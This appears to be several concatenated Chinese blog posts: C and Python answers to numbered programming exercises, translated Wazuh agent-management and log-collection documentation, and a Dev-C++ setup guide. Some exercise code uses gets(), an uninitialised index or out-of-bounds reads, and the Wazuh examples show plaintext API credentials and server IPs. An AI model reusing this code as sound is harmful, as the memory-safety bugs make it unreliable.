+ day); break; case 4: printf("%d", 31 * 2 + 29 + day); break; case 5: printf("%d", 31 * 2 + 29 + 30 + day); break; case 6: printf("%d", 31 * 3 + 29 + 30 + day); break; case 7: printf("%d", 31 * 3 + 29 + 30 * 2 + day); break; case 8: printf("%d", 31 * 4 + 29 + 30 * 2 + day); break; case 9: printf("%d", 31 * 5 + 29 + 30 * 2 + day); break; case 10: printf("%d", 31 * 5 + 29 + 30 * 3 + day); break; case 11: printf("%d", 31 * 6 + 29 + 30 * 3 + day); break; case 12: printf("%d", 31 * 6 + 29 + 30 * 4 + day); break; } } // 不是闰年 else { // 根据月份判断 switch (month) { case 1: printf("%d", day); break; case 2: printf("%d", 31 + day); break; case 3: printf("%d", 31 + 28 + day); break; case 4: printf("%d", 31 * 2 + 28 + day); break; case 5: printf("%d", 31 * 2 + 28 + 30 + day); break; case 6: printf("%d", 31 * 3 + 28 + 30 + day); break; case 7: printf("%d", 31 * 3 + 28 + 30 * 2 + day); break; case 8: printf("%d", 31 * 4 + 28 + 30 * 2 + day); break; case 9: printf("%d", 31 * 5 + 28 + 30 * 2 + day); break; case 10: printf("%d", 31 * 5 + 28 + 30 * 3 + day); break; case 11: printf("%d", 31 * 6 + 28 + 30 * 3 + day); break; case 12: printf("%d", 31 * 6 + 28 + 30 * 4 + day); break; } } return 0; } 1130: 杨辉三角 #include<stdio.h> int main() { //定义一个变量n int n; //定义一个二维数组a,初始值为1 int a[35][35]={1}; //输入n scanf("%d",&n); //循环n次 for (int i = 0; i < n;i++) { //循环i次 for (int j = 0; j < i + 1;j++) { //如果i等于0或者j等于0,则a[i][0]等于1 if(i==0||j==0) { a[i][0] = 1; } //如果i大于0且j不等于0,则a[i][j]等于a[i - 1][j - 1] + a[i - 1][j] if(i>0&&j!=0) { a[i][j] = a[i - 1][j - 1] + a[i - 1][j]; } //输出a[i][j] printf("%d", a[i][j]); //如果j小于n-1,则输出空格 if(j<n-1) printf(" "); //如果j等于i,则换行 if(j==i) { printf("\n"); } } } return 0; } 1131: 最常用字符 #include <stdio.h> int main() { // 定义一个字符数组 char a[105]; // 定义一个整型数组,用于存储每个字母出现的次数 int s[27] = {0}, i = 0, m = 0, j; // 读取字符串,并将其中的大写字母转换为小写字母 while ((a[i] = getchar()) != '\n') { if (a[i] >= 'A' && a[i] <= 'Z') a[i] = a[i] + 32; // 计算每个字母出现的次数 j = a[i] - 'a'; s[j] += 1; i++; } // 遍历数组,找到出现次数最多的字母 for (i = 0; i < 26; i++) { if (s[m] < s[i]) { m = i; } } // 输出出现次数最多的字母 printf("%c", m + 'a'); return 0; } 1132: 数字字符统计 #include <stdio.h> int main() { // 定义变量n和t int n, t; // 定义变量ch char ch; // 输入变量n scanf("%d", &n); // 跳过换行符 getchar(); // 循环n次 for (int i = 0; i < n; i++) { // 初始化t为0 t = 0; // 循环读取字符,直到遇到换行符 while ((ch= getchar()) != '\n') { // 如果字符大于等于0且小于等于9,t加1 if (ch>= '0' && ch <= '9') { t++; } } // 输出t printf("%d\n", t); } return 0; } 1133: 单词个数统计 #include <stdio.h> #include <string.h> #include <ctype.h> int main () { // 定义变量 int count = 0, len; char ch[1001]; // 读取一行字符串 fgets(ch, sizeof(ch), stdin); // 计算字符串长度 len = strlen(ch); // 如果字符串最后是换行符,则去掉换行符 if (ch[len-1] == '\n') { ch[len-1] = '\0'; // 移除末尾的换行符 len--; } // 计算空格数量 for (int i = 0; i < len; i++) { // 判断字符串中每个字符的前一个字符是否是字母或数字,且当前字符是否是空格 if (isalnum(ch[i-1]) && ch[i] == ' '){ count++; } } // 判断字符串最后一个字符是否是字母或数字 if (isalnum(ch[len-1])){ count++; } // 输出空格数量 printf ("%d",count); return 0; } 1134:字符串转换 #include <stdio.h> int main() { char arr[101]; int sum=0; gets(arr); int i=0; for(i=0;arr[i]!='\0';i++) { if(arr[i]>='0'&&arr[i]<='9'){ sum=sum*10+arr[i]-'0'; } } sum=sum*2; printf("%d",sum); } 1135:算菜价 #include <stdio.h> #include <stdlib.h> int main() { double w,p,sum=0; while(~scanf("%*s%lf%lf",&w,&p)) //与!=EOF等价 { sum=sum+w*p; } printf("%.1f\n",sum); return 0; } 1136:首字母变大写 #include <stdio.h> #include <string.h> int main() { char a[100]; gets(a); int i; for(i=0;a[i]!='\0';i++) { if(a[i]==' '&&a[i+1]!=' ') { if(a[i+1]>='a'&&a[i+1]<='z') a[i+1]=a[i+1]-32; } } if(a[0]>='a'&&a[0]<='z') a[0]=a[0]-32; puts(a); return 0; } 1137:查找最大元素 #include <stdio.h> #include <string.h> int main() { int i; int j; char arr[1000]; gets(arr); int sum[1000]={0}; int x=strlen(arr); char max=arr[1]; for(i=0;i<x;i++){ if(arr[i]>max) { max=arr[i]; } } for(i=0;i<x;i++){ if(max==arr[i]){ printf("%c(max)", arr[i]);} else{ printf("%c", arr[i]);} } return 0; } 1138:C语言合法标识符 #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { char a[51]; int i=0; int count=0; gets(a); int x=strlen(a); if((a[0]>='a'&&a[0]<='z')||(a[0]>='A'&&a[0]<='Z')||(a[0]=='_')) { for(i=0;i<x;i++) { if((a[i]>='a'&&a[i]<='z')||(a[i]>='A'&&a[i]<='Z')||(a[i]=='_')||(a[i]>='0'&&a[i]<='9')) { count++; } } if(count==x) { printf("yes"); } else{ printf("no"); } } else{ printf("no"); } return 0; } 1139:输出最短字符串 #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { int n; int i=0; char min[1001],max[1001]; scanf("%d",&n); getchar(); gets(max); strcpy(min,max); for(i=1;i<n;i++) { gets(max); if(strlen(max)<strlen(min)){ strcpy(min,max); } } puts(min); return 0; } 1140:小数点后第n位 多实例 #include <stdio.h> #include <string.h> int main() { int t,n; scanf("%d",&t); int i,j; char a[1000]; for(i=0;i<t;i++) { scanf("%s%d",a,&n); for(j=0;a[j]!='\0';j++) { if(a[j]=='.') { break; } } if((j+n)<strlen(a)) { printf("%c\n",a[j+n]); } else printf("0\n"); } return 0; } python n=int(input()) for x in range(n): a,b=input().split() a=a.split('.') if(int(b)<=len(a[1])): print(a[1][int(b)-1]) else: print(0) 1141:进制转换 #include <stdio.h> void convert(int n, char str[]); int main() { int n; char str[100001]; convert(n,str); return 0; } void convert(int n, char str[]){ int t=0; int i=0; int g; int h=0; scanf("%d",&n); while(n!=0) { str[h++]=n%2; n=n/2; t++; } for(i=t-1;i>=0;i--){ if(str[i]!=0) { g=i; break; } } for(i=g-1;g>=0;g--){ printf("%d",str[g]); } } 1142:二进制数的大小 #include <stdio.h> #include<string.h> #include <math.h> int bToD(char str[]); void c(int brr[],int n); void swap(int* g,int* h); int main() { char str[31]; int a[3]; int i=0; for(i=0;i<3;i++) { scanf("%s",str); a[i]=bToD(str); } c(a, 3); for(i=0;i<3;i++) { printf("%d ", a[i]); } return 0; } void c(int brr[],int n){ int i,j; for(i=0;i<n;i++) { for(j=i+1;j<n;j++) { if(brr[i]>brr[j]){ swap(&brr[i],&brr[j]); } } } } void swap(int* g,int* h){ int t= *g; *g=*h; *h = t; } int bToD(char str[]){ int x=strlen(str); int sum=0; for(int i=0;i<x;i++) { if(str[i]=='1'){ sum=sum+pow(2,x-i-1); } else{ sum=sum+0; } } return sum; } 答案2:(来自徐佬) #include <stdio.h> #include <string.h> int bToD(char str[]) { int num=0; int j; for(j=0;j<strlen(str);j++) { num=num*2+(str[j]-'0'); } return num; } int main() { char str[1000000]; int a[3]; for(int i=0;i<3;i++) { scanf("%s",str); a[i]=bToD(str); } int t; if(a[0]>a[1]) { t=a[0]; a[0]=a[1]; a[1]=t; } if(a[2]>a[1]) { t=a[2]; a[2]=a[1]; a[1]=t; } if(a[0]>a[2]) { t=a[0]; a[0]=a[2]; a[2]=t; } printf("%d %d %d",a[0],a[2],a[1]); return 0; } 1143:最大值—多种进制 #include <stdio.h> #include <string.h> // 函数原型声明 int KToD(char str[], int k); // 最大值多进制 int main() { char str[10000]; int n, k, i; int t, max = 0; scanf("%d", &n); for(i = 0; i < n; i++){ scanf("%s %d", str, &k); t = KToD(str, k); if(max< t) max = t; } printf("%d", max); return 0; } int KToD(char str[], int k){ int i, sum = 0; for(i = 0; str[i] != '\0'; i++){ sum = sum * k + (str[i] - '0'); } return sum; } 1144:多种进制 #include <stdio.h> #include <stdlib.h> #include <string.h> void dToK(int n, int k, char str[]) { int i=0,len; while(n>0) { str[i]=n%k+'0'; n=n/k; i++; } str[i]='\0'; len=strlen(str); for(i=len-1;i>=0;i--) printf("%c",str[i]); printf("\n"); } int main() { int n; scanf("%d",&n); char str[1000]; dToK(n,2,str); dToK(n,3,str); dToK(n,7,str); dToK(n,8,str); return 0; } 1145:有问题的里程表(2) #include <stdio.h> #include <string.h> int main() { int i; char ch[10]; gets(ch); int sum=0; int x=strlen(ch); for(i=0;i<x;i++){ if(ch[i]>'4'){ ch[i]--; } sum=sum*9+ch[i]-'0'; } printf("%d",sum); return 0; } 1146:吃糖果 #include <stdio.h> int main() { int n; int t=0; int sum=0; int max=0,i=0; int x=0; int q=0; int h=0; scanf("%d",&n); for(i=0;i<n;i++){ max=sum=0; scanf("%d",&t); for(h=0;h<t;h++){ scanf("%d",&q); sum=sum+q; if(q>max){ max=q; } } if(sum-max>=max-1){ printf("Yes\n"); } else{ printf("No\n"); } } return 0; } 1147:查找子数组 #include <stdio.h> int main() { int a[101],b[101]; int m,n; int i,j,flog; scanf("%d %d",&n,&m); for(i=0;i<n;i++) { scanf("%d",&a[i]); } for(i=0;i<m;i++) { scanf("%d",&b[i]); } for(i=0;i<n;i++) { if(a[i]==b[0]) { flog=i; for(j=0;j<m;j++) { if(a[i+j]!=b[j]) { break; } } } } if(j==m) { printf("%d\n",flog); } else printf("No Answer\n"); return 0; } python a,b=map(int,input().split()) c=list(map(int,input().split())) d=list(map(int,input().split())) for i in range(a): if c[i:i+b]==d: print(i) exit() print("No Answer") 1148:组合三位数之一 #include <stdio.h> int PanDuan(int a,int b,int c) { int s[10]={0}; while(a) { s[a%10]=1; a/=10; } while(b) { s[b%10]=1; b/=10; } while(c) { s[c%10]=1; c/=10; } for(int i=1;i<10;i++) { if(s[i]==0) return 0; } return 1; } int main() { int a[30]; int t; for(int i=10;i<33;i++) { if(i*i>100&&i*i<1000) a[t++]=i*i; } for(int i=0;i<t;i++) for(int j=i+1;j<t;j++) for(int k=j+1;k<t;k++) { if(PanDuan(a[i],a[j],a[k])) printf("%d %d %d\n",a[i],a[j],a[k]); } } 1149:组合三位数之二 #include <stdio.h> int PanDuan(int a,int b,int c) { int ret=1; int s[10]={0}; if(a*2!=b||a*3!=c) ret=0; while(a) { s[a%10]=1; a/=10; } while(b) { s[b%10]=1; b/=10; } while(c) { s[c%10]=1; c/=10; } for(int i=1;i<10;i++) { if(s[i]==0) ret=0; } return ret; } int main() { for(int i=100;i<333;i++) { if(PanDuan(i,i*2,i*3)) printf("%d %d %d\n",i,i*2,i*3); } } 1150:数数多少个整数 #include<stdio.h> #include<ctype.h> int main() { char arr[1000],sum=0,flag=0; gets(arr); for(int i=0;arr[i]!='\0';i++) { if(isdigit(arr[i])&&flag==0) { if(arr[i]=='0'&&isdigit(arr[i+1]))//判断0123 这种 { sum++; flag=0; continue;//0记一个数字 进入下一次循环 } sum++;//判断123这种 flag=1;//改变flag防止后续被计算到内 } if(!isdigit(arr[i]))//当当前字符不是数字字符 改变flag为0 flag=0; } printf("%d\n",sum); return 0; }
  13. 代理生命周期 注册代理 一旦代理程序安装在要监控的计算机上,就必须向Wazuh管理器注册才能建立通信。这可以通过命令行,Authd或RESTful API完成。 注册代理将保留在管理器中,直到用户将其删除。在任何给定时间内,代理可能有四种不同的状态,如下图所示: 代理状态 从未连接:代理已注册但尚未连接到管理器。 待定 身份验证过程正在等待:管理服务器已收到来自代理的连接请求,但尚未收到任何其他内容。这可能表示防火墙问题。代理将在其连接生命周期中处于此状态一次。 活动:代理已成功连接,现在可以与管理器通信。 已断开连接:如果代理在半小时内未收到来自代理的任何消息,则管理员将认为代理已断开连接。 删除代理 从agent主机的管理器中删除代理程序后,连接生命周期即将结束。这可以通过RESTful API,命令行或Authd完成(如果启用了force选项)。 强制插入 如果您尝试添加具有已注册到其他代理的IP地址的代理,该manage_agents命令将返回错误。您仍然可以使用-F选项强制添加。 列如: 安装了名为Server1的IP 10.0.0.10 的代理,并且ID为005.如果我们假设必须重新安装服务器,则必须重新安装新的代理并将其连接到管理器。在这种情况下,我们可以使用参数-F 0,这意味着将删除先前的代理(005)(使用备份),并且将使用IP重新创建新代理。新代理将具有新ID: /var/ossec/bin/manage_agents -n Server1 -a 10.10.10.10 -F 0 列出代理 运行 /var/ossec/bin/agent_control 可列出代理的连接状态: [root@wazhu-manage ~]# /var/ossec/bin/agent_control -l Wazuh agent_control. List of available agents: ID: 000, Name: wazhu-manage (server), IP: 127.0.0.1, Active/Local ID: 001, Name: agent01, IP: 45.77.105.194, Active ID: 002, Name: agent02, IP: 155.138.165.154, Active ID: 003, Name: agent03, IP: 45.77.93.54, Active ID: 004, Name: agent04, IP: 45.77.4.139, Active List of agentless devices: 删除代理 运行 /var/ossec/bin/manage_agents 删除代理 如果要在删除代理之前进行确认,请使用以下命令: [root@wazhu-manage ~]# /var/ossec/bin/manage_agents **************************************** * Wazuh v3.8.0 Agent manager. * * The following options are available: * **************************************** (A)dd an agent (A). (E)xtract key for an agent (E). (L)ist already added agents (L). (R)emove an agent (R). (Q)uit. Choose your action: A,E,L,R or Q: R Available agents: ID: 001, Name: agent01, IP: 45.77.105.194 ID: 002, Name: agent02, IP: 155.138.165.154 ID: 003, Name: agent03, IP: 45.77.93.54 ID: 004, Name: agent04, IP: 45.77.4.139 Provide the ID of the agent to be removed (or '\q' to quit): 004 Confirm deleting it?(y/n): Y Agent '004' removed. **************************************** * Wazuh v3.8.0 Agent manager. * * The following options are available: * **************************************** (A)dd an agent (A). (E)xtract key for an agent (E). (L)ist already added agents (L). (R)emove an agent (R). (Q)uit. Choose your action: A,E,L,R or Q: Q 如果您想在没有确认的情况下删除代理,请使用以下选项: # /var/ossec/bin/manage_agents -r 001 **************************************** * Wazuh v3.8.0 Agent manager. * * The following options are available: * **************************************** (A)dd an agent (A). (E)xtract key for an agent (E). (L)ist already added agents (L). (R)emove an agent (R). (Q)uit. Choose your action: A,E,L,R or Q: Available agents: ID: 001, Name: new, IP: any Provide the ID of the agent to be removed (or '\q' to quit): 001 Confirm deleting it?(y/n): y Agent '001' removed. ** You must restart OSSEC for your changes to take effect. manage_agents: Exiting. 列出代理连接状态 请求GET /agents 返回可用代理列表。 注意:GET是curl的默认操作,不需要特别引用。 [root@wazhu-manage ~]# curl -u wazuh-api:wazu123 "http://149.248.9.0:55000/agents?pretty" { "error": 0, "data": { "totalItems": 5, "items": [ { "status": "Active", "name": "wazhu-manage", "ip": "127.0.0.1", "manager": "wazhu-manage", "node_name": "node01", "dateAdd": "2019-01-21 09:58:43", "version": "Wazuh v3.8.0", "lastKeepAlive": "9999-12-31 23:59:59", "os": { "major": "7", "name": "CentOS Linux", "uname": "Linux |wazhu-manage |3.10.0-957.1.3.el7.x86_64 |#1 SMP Thu Nov 29 14:49:43 UTC 2018 |x86_64", "platform": "centos", "version": "7", "codename": "Core", "arch": "x86_64" }, "id": "000" }, { "status": "Active", "configSum": "ab73af41699f13fdd81903b5f23d8d00", "group": [ "default" ], "name": "agent01", "mergedSum": "f8d49771911ed9d5c45b03a40babd065", "ip": "45.77.105.194", "manager": "wazhu-manage", "node_name": "node01", "dateAdd": "2019-01-22 07:14:26", "version": "Wazuh v3.8.0", "lastKeepAlive": "2019-01-22 18:11:46", "os": { "major": "16", "name": "Ubuntu", "uname": "Linux |agent01 |4.4.0-137-generic |#163-Ubuntu SMP Mon Sep 24 13:14:43 UTC 2018 |x86_64", "platform": "ubuntu", "version": "16.04.5 LTS", "codename": "Xenial Xerus", "arch": "x86_64", "minor": "04" }, "id": "001" }, { "status": "Active", "configSum": "ab73af41699f13fdd81903b5f23d8d00", "group": [ "default" ], "name": "agent02", "mergedSum": "f8d49771911ed9d5c45b03a40babd065", "ip": "155.138.165.154", "manager": "wazhu-manage", "node_name": "node01", "dateAdd": "2019-01-22 09:29:21", "version": "Wazuh v3.8.0", "lastKeepAlive": "2019-01-22 18:11:39", "os": { "major": "16", "name": "Ubuntu", "uname": "Linux |agent02 |4.4.0-137-generic |#163-Ubuntu SMP Mon Sep 24 13:14:43 UTC 2018 |x86_64", "platform": "ubuntu", "version": "16.04.5 LTS", "codename": "Xenial Xerus", "arch": "x86_64", "minor": "04" }, "id": "002" }, { "status": "Active", "configSum": "ab73af41699f13fdd81903b5f23d8d00", "group": [ "default" ], "name": "agent03", "mergedSum": "f8d49771911ed9d5c45b03a40babd065", "ip": "45.77.93.54", "manager": "wazhu-manage", "node_name": "node01", "dateAdd": "2019-01-22 10:15:26", "version": "Wazuh v3.8.0", "lastKeepAlive": "2019-01-22 18:11:42", "os": { "major": "16", "name": "Ubuntu", "uname": "Linux |agent03 |4.4.0-137-generic |#163-Ubuntu SMP Mon Sep 24 13:14:43 UTC 2018 |x86_64", "platform": "ubuntu", "version": "16.04.5 LTS", "codename": "Xenial Xerus", "arch": "x86_64", "minor": "04" }, "id": "003" }, { "status": "Active", "configSum": "ab73af41699f13fdd81903b5f23d8d00", "group": [ "default" ], "name": "agent04", "mergedSum": "f8d49771911ed9d5c45b03a40babd065", "ip": "45.77.4.139", "manager": "wazhu-manage", "node_name": "node01", "dateAdd": "2019-01-22 10:34:01", "version": "Wazuh v3.8.0", "lastKeepAlive": "2019-01-22 18:11:43", "os": { "major": "16", "name": "Ubuntu", "uname": "Linux |agent04 |4.4.0-137-generic |#163-Ubuntu SMP Mon Sep 24 13:14:43 UTC 2018 |x86_64", "platform": "ubuntu", "version": "16.04.5 LTS", "codename": "Xenial Xerus", "arch": "x86_64", "minor": "04" }, "id": "004" } ] } } 删除代理 请求DELETE /agents/:agent_id删除指定的代理。 [root@wazhu-manage ~]# curl -u wazuh-api:wazuh -X DELETE "http://149.248.9.0:55000/agents/003" {"error":0,"data":{"msg":"All selected agents were removed","affected_agents":["003"]}} 使用Wazuh应用程序 列出agent: 您可以通过转到Wazuh应用程序中的Agents选项卡列出并查看有关所有已注册agent的基本信息: 显示代理 单击代理将显示有关该代理的更多信息: 检查与Manager的连接 在检查代理与管理器的连接之前,请首先确保代理指向管理器的IP地址。这是ossec.conf使用<client>XML标记设置的。有关详细信息,请参阅客户端参考。 <ossec_config><client><server><address>149.248.9.0/address><protocol>udp</protocol></server></client></ossec_config> 这将设置149.248.9.0作为Wazuh Manager服务器。完成此操作后,您需要重新启动代理: a.For Systemd: # systemctl restart wazuh-agent b.For SysV Init: # service wazuh-agent restart 注册代理并且已成功连接后,您可以看到连接到管理器的代理列表: [root@wazhu-manage ~]# /var/ossec/bin/agent_control -lc #代理管理器 Wazuh agent_control. List of available agents: ID: 000, Name: wazhu-manage (server), IP: 127.0.0.1, Active/Local ID: 001, Name: agent01, IP: 45.77.105.194, Active ID: 002, Name: agent02, IP: 155.138.165.154, Active 您还可以通过验证是否已建立与管理器的UDP连接来检查代理是否正确连接: root@agent02:~# netstat -vatunp|grep ossec-agentd #代理客服端上 udp 0 0 155.138.165.154:58599 149.248.9.0:1514 ESTABLISHED 5088/ossec-agentd 结果应与代理和管理器IP地址匹配。 在agent_control部分中,您可以找到有关向管理器注册的代理的状态的信息。 分组代理 3.0.0版中的新功能。 配置注册代理有两种方法。可以使用ossec.conf文件在本地配置它们,也可以使用集中配置远程配置它们。如果使用集中式配置,则可以将代理分配给组,每个组具有唯一的配置。这极大地简化了整个配置过程。 除非另行指定,否则所有新代理都自动属于“默认”组。在安装过程中创建此组,并将配置文件放在/var/ossec/etc/shared/default/文件夹中。这些文件将从管理器推送到属于该组的所有代理。 1.以下是将代理分配给具有特定配置的组的步骤: 将代理添加到管理器后,使用agent_groups工具或 API将其分配给组。以下方法是将具有ID 002的代理分配给组“test01”示列: 使用agent_groups: [root@wazhu-manage default]# cd /var/ossec/etc/shared [root@wazhu-manage shared]# mkdir test01 [root@wazhu-manage shared]# /var/ossec/bin/agent_groups -a -i 002 -g test01 Do you want to add the group 'test01' to the agent '002'? [y/N]: y Group 'test01' added to agent '002'. 使用API: # curl -u wazuh-api:wazuh -X PUT "http://localhost:55000/agents/002/group/test01?pretty" 注意:必须在分配代理之前创建和配置该组。 2.可以使用以下命令之一检查代理程序的组分配: 使用agent_groups: [root@wazhu-manage shared]# /var/ossec/bin/agent_groups -l -g test01 1 agent(s) in group 'test01': ID: 002 Name: agent02. 使用API: [root@wazhu-manage test01]# curl -u wazuh-api:wazuh -X GET "http://localhost:55000/agents/groups/test01?pretty" { "error": 0, "data": { "totalItems": 1, "items": [ { "status": "Active", "configSum": "1a0e4e4aa11b2b284200925e3026090f", "group": [ "default", "test01" ], "name": "agent02", "mergedSum": "2bdddd3efec5ffb7ec1486e314c28eb7", "ip": "155.138.165.154", "manager": "wazhu-manage", "node_name": "node01", "dateAdd": "2019-01-22 09:29:21", "version": "Wazuh v3.8.0", "lastKeepAlive": "2019-01-23 02:22:58", "os": { "major": "16", "name": "Ubuntu", "uname": "Linux |agent02 |4.4.0-137-generic |#163-Ubuntu SMP Mon Sep 24 13:14:43 UTC 2018 |x86_64", "platform": "ubuntu", "version": "16.04.5 LTS", "codename": "Xenial Xerus", "arch": "x86_64", "minor": "04" }, "id": "002" } ] } } 创建组后,agent.conf可以编辑其文件以包含要分配给该组的特定配置。对于此示例,要编辑的文件位于/var/ossec/etc/shared/test01/agent.conf中,并且属于该组的每个代理都将接收此文件。在连接到管理器的20分钟内,分配给组的每个代理将从管理器接收“test01”文件夹中包含的agent.conf文件,包括在上一步中修改的文件。管理器将这些文件推送到代理程序所需的时间长度取决于文件的大小,组中的代理程序数以及使用的连接协议。例如,根据网络带宽和性能,使用UDP在100个代理上接收10 MB文件夹(不包括merged.mg文件)可能需要8分钟,但是如果使用TCP,则可能会更快地复制。一旦特定代理属于某个组,即使它是以其他名称或ID注册,它也会自动重新分配给该组。发生这种情况是因为当代理重新注册时,代理merged.mg发送的校验和将与向管理员注册的其他代理的校验和进行比较。然而,这不是默认的设置,而且,如果需要的话,必须明确地在local_internal_options.conf文件中通过添加选项remoted.guess_agent_group=1进行激活(参见remoted在内部选件)。 多个组 3.7.0版中的新功能。 自Wazuh v3.7.0起,代理可以属于多个组。代理将从每个组接收所有配置文件。从上次分配的组接收的配置优先于其他组。 管理多个组 此功能专注于以更高的细分级别自定义代理的配置。通过API和agent_groups 列出代理状态,同时也允许分配/变更/取消分配组,代理管理组。让我们看一下在现有代理上管理多个组的三个用例。 将多个组分配给代理 将多个组设置为代理很简单,有三种不同的方法可以将代理分配给一个或多个组:注册,CLI和API。 在此示例中,代理001已添加到Web服务器和apache组。首先,使用API: [root@wazhu-manage default]# cd /var/ossec/etc/shared [root@wazhu-manage shared]# mkdir webserver [root@wazhu-manage shared]# mkdir apache [root@wazhu-manage shared]# curl -u wazuh-api:wazuh -X PUT "http://localhost:55000/agents/001/group/webserver?pretty" { "error": 0, "data": "Group 'webserver' added to agent '001'." } } [root@wazhu-manage shared]# curl -u wazuh-api:wazuh -X PUT "http://localhost:55000/agents/001/group/apache?pretty" { "error": 0, "data": "Group 'apache' added to agent '001'." } 之后,我们可以向API询问代理所属的组: [root@wazhu-manage shared]# curl -u wazuh-api:wazuh -X GET "http://localhost:55000/agents/001?pretty"{ "error": 0, "data": { "status": "Active", "configSum": "1a0e4e4aa11b2b284200925e3026090f", "group": [ "default", "webserver", "apache" ], "name": "agent01", "mergedSum": "32990d31d5f43a96cf6ca1aa4f1d839b", "ip": "45.77.105.194", "manager": "wazhu-manage", "node_name": "node01", "dateAdd": "2019-01-22 07:14:26", "version": "Wazuh v3.8.0", "lastKeepAlive": "2019-01-23 02:32:46", "os": { "major": "16", "name": "Ubuntu", "uname": "Linux |agent01 |4.4.0-137-generic |#163-Ubuntu SMP Mon Sep 24 13:14:43 UTC 2018 |x86_64", "platform": "ubuntu", "version": "16.04.5 LTS", "codename": "Xenial Xerus", "arch": "x86_64", "minor": "04" }, "id": "001" }} 在这种情况下,当任何配置参数存在冲突时,组apache的远程配置是三个组中最优先的。 使用agent_groups CLI,代理可以以相同的方式注册到组: [root@wazhu-manage shared]# /var/ossec/bin/agent_groups -a -i 001 -g webserver Do you want to add the group 'webserver' to the agent '001'? [y/N]: y Agent '001' already belongs to group 'webserver [root@wazhu-manage shared]# /var/ossec/bin/agent_groups -a -i 001 -g apacheDo you want to add the group 'apache' to the agent '001'? [y/N]: yAgent '001' already belongs to group 'apache'. 要在注册过程中将代理分配给一个或多个组,请使用-G选项注册代理设置代理将包含在的组: root@agent01:~# /var/ossec/bin/agent-auth -m 149.248.9.0 -G webserver,apache 2019/01/23 02:36:01 agent-auth: INFO: Started (pid: 18442). INFO: No authentication password provided. INFO: Connected to 149.248.9.0:1515 INFO: Using agent name as: agent01 INFO: Send request to manager. Waiting for reply. INFO: Received response with agent key INFO: Valid key created. Finished. INFO: Connection closed. 列出组和配置 可以实时了解属于组的代理,以及根据其所属的组应用于每个代理的配置和共享文件。 例如,要列出现在可用的组,我们可以对agent_groups运行以下查询: [root@wazhu-manage shared]# /var/ossec/bin/agent_groups -l -g webserver1 agent(s) in group 'webserver': ID: 005 Name: agent01. 同样容易查询分配给代理001的组: [root@wazhu-manage shared]# /var/ossec/bin/agent_groups -s -i 005The agent 'agent01' with ID '005' belongs to groups: webserver, apache. 组的优先级从左到右增加,最后一个优先级最高。 对多个组进行更改 以同样的方式可以将多个组分配给代理,可以还原分配并在可用组之间切换。下面显示了如何取消代理001 的组apache: # /var/ossec/bin/agent_groups -r -i 001 -g apache -q Group 'apache' unset for agent '001'. # /var/ossec/bin/agent_groups -s -i 001 The agent 'ag-windows-12' with ID '001' has the group: '[u'webserver']'. 也可以在组覆盖现有分配之间切换: # /var/ossec/bin/agent_groups -s -i 001 The agent 'ag-windows-12' with ID '001' has the group: '[u'default', u'webserver']'. # /var/ossec/bin/agent_groups -a -f -i 001 -g apache Group 'apache' set to agent '001'. # /var/ossec/bin/agent_groups -s -i 001 The agent 'ag-windows-12' with ID '001' has the group: '[u'apache']'. 该-f参数重置分配给代理的组,并强制它仅属于新组。 最后,要检查单个代理的组配置的同步状态,可以使用以下两种方法: # /var/ossec/bin/agent_groups -S -i 001 The agent '008' sync status is: Agent configuration is synced. # curl -u foo:bar -X GET "http://localhost:55000/agents/001/group/is_sync?pretty" { "error": 0, "data": { "synced": "Agent configuration is synced." } } agent_groups的其余功能可以在其参考部分找到。对于提供具有类似行为的调用的API也是如此。 共享文件行为 如上所述,传统上管理器根据它们所属的组与其代理共享配置文件。 如果属于多个组,则按照下一个条件将每个组的配置文件合并为一个: 共享文件(如用于rootkit检测的CIS基准)将加入共享文件夹,如果重复文件,则添加的最后一个文件将覆盖旧文件。 agent.conf添加的新文件将附加到现有文件中。当两个组具有冲突配置时,分配给代理的最后一个组将是前导组。在集中配置手册中了解有关配置优先级的更多信息。 从用户设置到特定组的自定义共享文件也会加入,以将它们发送给代理。 <wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">
  14. 前言 Dev C++也是一个编程工具,配置也简单,且便捷-麻雀虽小,五脏俱全,可谓是编程必备了这边Godyu建议呢 Vscode和Devc++都下载并且使用 熟悉一下 (比赛的时候Dev c++频率出现较大) 本文章由Godyu编写,PDF图片以及操作过程由Frex提供! 原创配置教程不懂的可以问我(为爱发电我第一个冲 下载、安装DEV-C++并进行简单设置 1.进入DEV-C++库官网,点击”DownLoad”按钮,之后会进入第二个界面,等待倒计时结束,会自动开始下载。 如果下载速度过慢或者无法进入该网页,请点击此处下载https://frexcheat.lanzoul.com/i4b2P1brn3ri 密码:h5v6 2.下载完成后,我们双击打开安装包,等待加载完毕,选择合适的安装路径,按照下面图示安装即可。 3.之后我们运行DEV-C++,会出现以下界面,在第一个界面我们选择”简体中文”,然后点击”Next”,之后会让我们 选择代码字体以及代码编辑框的主题,这里字体推荐”Cascadia Code SemiBold”,主题推荐”GSS Hacker”,之后 点击”Next”,再点击”OK”,那么我们的DEV-C++基本就设置完成了。 2.使用DEV-C++创建一个新项目并运行 1.打开DEV-C++,在左上角点击”文件-新建源代码 若如果点击运行(点击编译运行就可以直接运行了) 运行后 直接选择一个位置保存 此时你的Dev c++就配置成功了,恭喜恭喜!!现在就可以编写代码了! 剩下的是美化(有需要的可以美化)为了突出文章的简易性(美化我放到PDF里了)可下载噢!也嘎嘎好看 请在电脑上查看
  15. 一、日志数据收集 日志数据收集是从服务器或设备生成的记录中收集的实时过程。此组件可以通过文本文件或Windows事件日志接收日志。它还可以通过远程syslog直接接收日志,这对防火墙和其他此类设备非常有用。 此过程的目的是识别应用程序或系统程序错误,配置错误,入侵威胁,触发策略或安全问题。 Wazuh aegnt 的内存和CPU要求是,因为它的非常低的,主要作用是将事件转发给管理器。但是,在Wazuh管理器上,CPU和内存消耗可能会迅速增加,具体取决于管理器每秒事件数分析数量(EPS)。 1.处理流程 下图说明了事件的处理流程: 2.日志收集 2.1 日志文件 可以将日志分析引擎配置为监控服务器上的特定文件 示例配置: Linux: <localfile> <location>/var/log/example.log</location> <log_format>syslog</log_format> </localfile> windows: <localfile> <location>C:\myapp\example.log</location> <log_format>syslog</log_format> </localfile> 2.2Windows事件日志 Wazuh可以监控典型的Windows事件日志以及较新的Windows事件通道 示例配置: 事件日志: <localfile> <location>Security</location> <log_format>eventlog</log_format> </localfile> 事件通道: <localfile> <location>Microsoft-Windows-PrintService/Operational</location> <log_format>eventchannel</log_format> </localfile> 2.3 远程系统日志 